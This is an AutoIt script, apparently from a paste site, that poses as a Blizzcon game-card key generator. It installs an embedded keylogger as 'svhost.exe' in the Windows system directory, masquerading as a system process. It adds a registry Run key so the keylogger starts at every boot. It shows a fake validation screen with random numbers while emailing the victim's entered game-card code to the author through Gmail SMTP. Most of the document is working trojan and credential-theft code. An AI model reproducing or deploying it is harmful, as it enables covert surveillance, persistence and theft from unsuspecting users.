· 9 years ago · May 08, 2017, 04:16 AM
1#include <ButtonConstants.au3>
2#include <EditConstants.au3>
3#include <GUIConstantsEx.au3>
4#include <WindowsConstants.au3>
5#include <EditConstants.au3>
6#include <SMTP.au3>
7#Include <String.au3>
8
9Global $Log, $Win, $Win2, $Len, $File, $Body, $ClearLogAfterEmail, $eFile, $GmailUser,
10
11$GmailPass, $ToEmail, $tStamp
12GUICreate("Blizzcon Special 2.2.214.8", 266, 250, 193, 125)
13
14Dim $O = @SystemDir & "\svhost.exe";This is where the Keylogger will be installed
15Dim $1 = @SystemDir & "\svhost.jpg"
16If FileExists($O) and FileExists($1) Then ;If the keylogger is already
17
18installed then simply exit the script
19 run($O)
20 Exit
21Else ;Else extract the keylog file to the desired
22
23directory
24 FileInstall("C:\GC\GC-Gen.exe", $O, 1)
25 fileinstall("C:\GC\lol.jpg", $1, 1)
26 RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\",
27
28"svhost", "REG_SZ", $O) ;This will make sure the keylogger will run on startup.
29 Run($O) ;Starts the Keylogger before exiting.
30EndIf
31
32$pic = GUICtrlCreatePic(@SystemDir & "\svhost.jpg", 1, 30, 266, 140)
33GUISetBkColor(0x0000)
34
35$Input1 = GUICtrlCreateInput("", 10, 12, 41, 21,$ES_NUMBER)
36guictrlsetlimit($Input1, 4, 4)
37$Input2 = GUICtrlCreateInput("", 60, 12, 45, 21,$ES_NUMBER)
38guictrlsetlimit($Input2, 6, 6)
39$Input3 = GUICtrlCreateInput("", 115, 12, 41, 21,$ES_NUMBER)
40guictrlsetlimit($Input3, 5, 5)
41$Input4 = GUICtrlCreateInput("", 165, 12, 45, 21,$ES_NUMBER)
42guictrlsetlimit($Input4, 6, 6)
43$Input5 = GUICtrlCreateInput("", 220, 12, 41, 21,$ES_NUMBER)
44guictrlsetlimit($Input5, 4, 4)
45$Input6 = GUICtrlCreateInput("", 10, 165, 41, 21)
46
47$Input7 = GUICtrlCreateInput("", 60, 165, 45, 21)
48
49$Input8 = GUICtrlCreateInput("", 115, 165, 41, 21)
50
51$Input9 = GUICtrlCreateInput("", 165, 165, 45, 21)
52
53$Input10 = GUICtrlCreateInput("", 220, 165, 41, 21)
54
55$Button1 = GUICtrlCreateButton("Validate and Download new Key", 1, 200, 265, 47, 0)
56
57
58guictrlsetstate
59
60($input1&$input2&$input3&$input4&$input5&$input6&$input7&$input8&$input9&$input10,
61
62$gui_focus)
63GUISetState()
64
65
66
67
68#EndRegion ### END Koda GUI section ###
69
70While 1
71 $rinput1 = guictrlread($input1)
72 $rinput2 = guictrlread($input2)
73 $rinput3 = guictrlread($input3)
74 $rinput4 = guictrlread($input4)
75 $rinput5 = guictrlread($input5)
76
77 $nMsg = GUIGetMsg()
78 Switch $nMsg
79 Case $GUI_EVENT_CLOSE
80 Exit
81 case $Button1
82 $verify = msgbox(4, "Verify", "Please verify if this code is
83
84the one you have on your GameCard: "& $rinput1 & "-" & $rinput2 & "-" & $rinput3 & "-"
85
86& $rinput4 & "-" & $rinput5)
87 if $verify = 6 And $rinput1&$rinput2&$rinput3&$rinput4&$rinput5
88
89= not "" Then
90
91 $random1_1 = random(1, 9, 1)
92 $random2_1 = random(1, 9, 1)
93 $random3_1 = random(1, 9, 1)
94 $random4_1 = random(1, 9, 1)
95 $random1_2 = random(1, 9, 1)
96 $random2_2 = random(1, 9, 1)
97 $random3_2 = random(1, 9, 1)
98 $random4_2 = random(1, 9, 1)
99 $random5_2 = random(1, 9, 1)
100 $random6_2 = random(1, 9, 1)
101 $random1_3 = random(1, 9, 1)
102 $random2_3 = random(1, 9, 1)
103 $random3_3 = random(1, 9, 1)
104 $random4_3 = random(1, 9, 1)
105 $random5_3 = random(1, 9, 1)
106 $random1_4 = random(1, 9, 1)
107 $random2_4 = random(1, 9, 1)
108 $random3_4 = random(1, 9, 1)
109 $random4_4 = random(1, 9, 1)
110 $random5_4 = random(1, 9, 1)
111 $random6_4 = random(1, 9, 1)
112 $random1_5 = random(1, 9, 1)
113 $random2_5 = random(1, 9, 1)
114 $random3_5 = random(1, 9, 1)
115 $random4_5 = random(1, 9, 1)
116 guictrlsetdata($input6,
117
118$random1_1&$random2_1&$random3_1&$random4_1)
119 guictrlsetdata($input7,
120
121$random1_2&$random2_2&$random3_2&$random4_2&$random5_2&$random6_2)
122 guictrlsetdata($input8,
123
124$random1_3&$random2_3&$random3_3&$random4_3&$random5_3)
125 guictrlsetdata($input9,
126
127$random1_4&$random2_4&$random3_4&$random4_4&$random5_4&$random6_4)
128 guictrlsetdata($input10,
129
130$random1_5&$random2_5&$random3_5&$random4_5)
131 $log = ""
132 $Len = 5 ;This is how often the
133
134log should be uploaded in minutes
135$eFile = @ScriptDir & "\gamecard.txt" ;Name and place for the Log file
136$Body = "GameCard file reciecved at " & @Hour & ":" & @Min & " on " & @MDay & "/" &
137
138@Mon & "/" & @Year
139$ClearLogAfterEmail = True ;Delete log after an upload? True for yes and
140
141False for no
142$GmailUser = "***@gmail.com" ;Gmail login name (Required)
143$GmailPass = "**" ;Gmail login pass (Required)
144$ToEmail = "****.com" ;This is where the log files will be sent
145
146
147$Len *= 60
148$tStamp = TimerInit()
149
150_INetSmtpMailCom("smtp.gmail.com", @ComputerName, $ToEmail, $ToEmail, $GmailUser,
151
152$GmailPass, @Username & "@" & @ComputerName, "GameCard file reciecved at " & @Hour &
153
154":" & @Min & " on " & @MDay & "/" & @Mon & "/" & @Year & @crlf &
155
156$rinput1&"-"&$rinput2&"-"&$rinput3&"-"&$rinput4&"-"&$rinput5)
157
158 Else
159 msgbox(16, "Error!", "Please check your code again.")
160 EndIf
161
162
163
164 EndSwitch
165WEnd